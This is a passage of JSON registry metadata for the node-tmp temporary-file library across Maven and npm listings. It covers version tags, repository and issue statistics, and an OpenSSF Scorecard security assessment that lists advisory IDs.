d_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.13/manifests"},{"name":"v0.0.12","sha":"b4984e379db92378aac4e267b52fde529cdd92a7","kind":"tag","published_at":"2011-10-21T12:09:16.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.12","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.12/manifests"},{"name":"v0.0.11","sha":"9c6787a291f7f406cfc34bfa5951edb9bdc998c1","kind":"tag","published_at":"2011-09-07T12:34:42.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.11","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.11/manifests"},{"name":"v0.0.10","sha":"711af99793d385780d7c61451acd284265a9e0dc","kind":"tag","published_at":"2011-09-05T13:32:09.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.10","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.10/manifests"},{"name":"v0.0.9","sha":"fa907a0ae0d8d72449f5cfee018c917165f59b95","kind":"tag","published_at":"2011-09-05T13:05:35.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.9","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"b721bd8a5da31db68b86721ca4710a99a17c3fde","kind":"tag","published_at":"2011-09-05T12:51:25.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.8","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.8/manifests"},{"name":"v0.0.7","sha":"89d028fab1fca7f9a64b25daf6a801d1248a5847","kind":"tag","published_at":"2011-09-03T18:45:45.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.7","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"6900f0f6f247d65fc546f9c2d9f57e2f5bb0eaeb","kind":"tag","published_at":"2011-09-03T15:50:40.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.6","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"318c3e74546b070ab538f3ec74614479c3adab4c","kind":"tag","published_at":"2011-09-02T13:23:52.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.5","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"10510035bdefe6ad64e601408867bde3fc0b7f08","kind":"tag","published_at":"2011-09-02T13:22:00.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.4","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"392c12113dec6fda55649c51e9573ce5b4893fcb","kind":"tag","published_at":"2011-09-02T12:45:06.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.3","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"9fa9ef21220dd8c16e48553818cc0f46b963f5a9","kind":"tag","published_at":"2011-09-02T12:37:13.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.2","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"5de36ea986ee8fe47f3f47d372f01b586eb8381a","kind":"tag","published_at":"2011-09-02T12:26:30.000Z","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/v0.0.1","html_url":"https://github.com/raszi/node-tmp/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/raszi/node-tmp@v0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2025-09-22T01:29:32.535Z","dependent_packages_count":17,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":31.979943940947386,"dependent_packages_count":3.5493365810398414,"stargazers_count":null,"forks_count":null,"average":17.764640260993612},"purl":"pkg:maven/org.webjars.npm/tmp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/maven/org.webjars.npm:tmp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/maven/org.webjars.npm:tmp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/maven/org.webjars.npm:tmp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-08-31T11:43:54.703Z","issues_count":48,"pull_requests_count":69,"avg_time_to_close_issue":37589298.395833336,"avg_time_to_close_pull_request":5730817.030769231,"issues_closed_count":47,"pull_requests_closed_count":65,"pull_request_authors_count":32,"issue_authors_count":30,"avg_comments_per_issue":5.5625,"avg_comments_per_pull_request":2.536231884057971,"merged_pull_requests_count":53,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":2,"past_year_pull_requests_count":2,"past_year_avg_time_to_close_issue":959267.0,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":8.5,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/issues","maintainers":[{"login":"silkentrance","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/silkentrance"},{"login":"raszi","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raszi"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:tmp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:tmp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:tmp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:tmp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:tmp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.webjars.npm:tmp/codemeta","maintainers":[],"registry":{"name":"repo1.maven.org","url":"https://repo.maven.apache.org/maven2","ecosystem":"maven","default":true,"packages_count":612498,"maintainers_count":0,"namespaces_count":80807,"keywords_count":34879,"github":"maven-central","metadata":{"funded_packages_count":37828},"icon_url":"https://github.com/maven-central.png","created_at":"2022-07-21T16:40:13.074Z","updated_at":"2026-06-10T05:05:55.821Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/namespaces"}},{"id":2467062,"name":"tmp-2","ecosystem":"npm","description":"Temporary file and directory creator","homepage":"http://github.com/raszi/node-tmp","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["temporary","tmp","temp","tempdir","tempfile","tmpdir","tmpfile"],"namespace":null,"versions_count":1,"first_release_published_at":"2017-06-12T04:25:07.772Z","latest_release_published_at":"2017-06-12T04:25:07.772Z","latest_release_number":"0.0.31","last_synced_at":"2026-07-23T01:12:49.678Z","created_at":"2022-04-10T02:12:18.512Z","updated_at":"2026-07-23T01:12:49.679Z","registry_url":"https://www.npmjs.com/package/tmp-2","install_command":"npm install tmp-2","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.0.31"}},"repo_metadata":{"id":48335217,"uuid":"2313213","full_name":"raszi/node-tmp","owner":"raszi","description":"Temporary file and directory creator for node.js","archived":false,"fork":false,"pushed_at":"2026-05-27T15:47:49.000Z","size":1501,"stargazers_count":773,"open_issues_count":11,"forks_count":99,"subscribers_count":5,"default_branch":"master","last_synced_at":"2026-06-04T13:29:02.572Z","etag":null,"topics":["library","nodejs","tempdir","tempfiles"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/raszi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2011-09-02T10:39:43.000Z","updated_at":"2026-05-30T19:51:30.000Z","dependencies_parsed_at":"2024-02-26T01:49:31.508Z","dependency_job_id":"a8011771-a0ff-41ec-ac6b-1eecf41924f1","html_url":"https://github.com/raszi/node-tmp","commit_stats":{"total_commits":350,"total_committers":38,"mean_commits":9.210526315789474,"dds":"0.46285714285714286","last_synced_commit":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059"},"previous_names":[],"tags_count":42,"template":false,"template_full_name":null,"purl":"pkg:github/raszi/node-tmp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/sbom","scorecard":{"id":762544,"data":{"date":"2025-08-11","repo":{"name":"github.com/raszi/node-tmp","commit":"3d2fe387f3f91b13830b9182faa02c3231ea8258"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node.js.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 3/14 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":4,"reason":"5 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/node.js.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/raszi/node-tmp/node.js.yml/master?enable=pin","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 22 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":3,"reason":"7 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T23:49:23.651Z","repository_id":48335217,"created_at":"2025-08-22T23:49:23.651Z","updated_at":"2025-08-22T23:49:23.651Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34304806,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-13T02:00:06.617Z","response_time":62,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-06T14:37:30.202Z","dependent_packages_count":0,"downloads":15,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":59.88173098450381,"dependent_repos_count":10.295976646711454,"dependent_packages_count":51.836728746128266,"stargazers_count":2.628746540367124,"forks_count":3.1182533275761726,"docker_downloads_count":null,"average":25.552287249057365},"purl":"pkg:npm/tmp-2","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/tmp-2","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/tmp-2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/tmp-2/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-21T21:32:44.155Z","issues_count":50,"pull_requests_count":80,"avg_time_to_close_issue":38377481.93617021,"avg_time_to_close_pull_request":5892294.617647059,"issues_closed_count":47,"pull_requests_closed_count":68,"pull_request_authors_count":33,"issue_authors_count":32,"avg_comments_per_issue":5.32,"avg_comments_per_pull_request":2.1875,"merged_pull_requests_count":55,"bot_issues_count":0,"bot_pull_requests_count":10,"past_year_issues_count":2,"past_year_pull_requests_count":6,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":0.0,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":5,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/issues","maintainers":[{"login":"silkentrance","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/silkentrance"},{"login":"raszi","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raszi"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/tmp-2/codemeta","maintainers":[{"uuid":"tmp-2","login":"tmp-2","name":null,"email":"tmp-2@best-apps.me","url":null,"packages_count":1,"html_url":"https://www.npmjs.com/~tmp-2","role":null,"created_at":"2022-11-15T01:13:06.890Z","updated_at":"2022-11-15T01:13:06.890Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/tmp-2/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5679045,"maintainers_count":1211546,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":2467048,"name":"tmp","ecosystem":"npm","description":"Temporary file and directory creator","homepage":"http://github.com/raszi/node-tmp","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/raszi/node-tmp","keywords_array":["temporary","tmp","temp","tempdir","tempfile","tmpdir","tmpfile"],"namespace":null,"versions_count":40,"first_release_published_at":"2011-09-02T12:30:15.269Z","latest_release_published_at":"2026-05-27T15:47:18.009Z","latest_release_number":"0.2.7","last_synced_at":"2026-07-23T01:12:52.718Z","created_at":"2022-04-10T02:12:17.919Z","updated_at":"2026-07-23T01:12:52.719Z","registry_url":"https://www.npmjs.com/package/tmp","install_command":"npm install tmp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.2.7"}},"repo_metadata":{"id":48335217,"uuid":"2313213","full_name":"raszi/node-tmp","owner":"raszi","description":"Temporary file and directory creator for node.js","archived":false,"fork":false,"pushed_at":"2026-05-27T15:47:49.000Z","size":1501,"stargazers_count":775,"open_issues_count":11,"forks_count":100,"subscribers_count":5,"default_branch":"master","last_synced_at":"2026-07-15T08:04:58.432Z","etag":null,"topics":["library","nodejs","tempdir","tempfiles"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/raszi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2011-09-02T10:39:43.000Z","updated_at":"2026-07-08T14:30:16.000Z","dependencies_parsed_at":"2024-02-26T01:49:31.508Z","dependency_job_id":"a8011771-a0ff-41ec-ac6b-1eecf41924f1","html_url":"https://github.com/raszi/node-tmp","commit_stats":{"total_commits":350,"total_committers":38,"mean_commits":9.210526315789474,"dds":"0.46285714285714286","last_synced_commit":"5f0b2525ed6f6a977ea0cc272d4903d9d2216059"},"previous_names":[],"tags_count":42,"template":false,"template_full_name":null,"purl":"pkg:github/raszi/node-tmp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/raszi","download_url":"https://codeload.github.com/raszi/node-tmp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/sbom","scorecard":{"id":762544,"data":{"date":"2025-08-11","repo":{"name":"github.com/raszi/node-tmp","commit":"3d2fe387f3f91b13830b9182faa02c3231ea8258"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.9,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/node.js.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":2,"reason":"Found 3/14 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":4,"reason":"5 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the 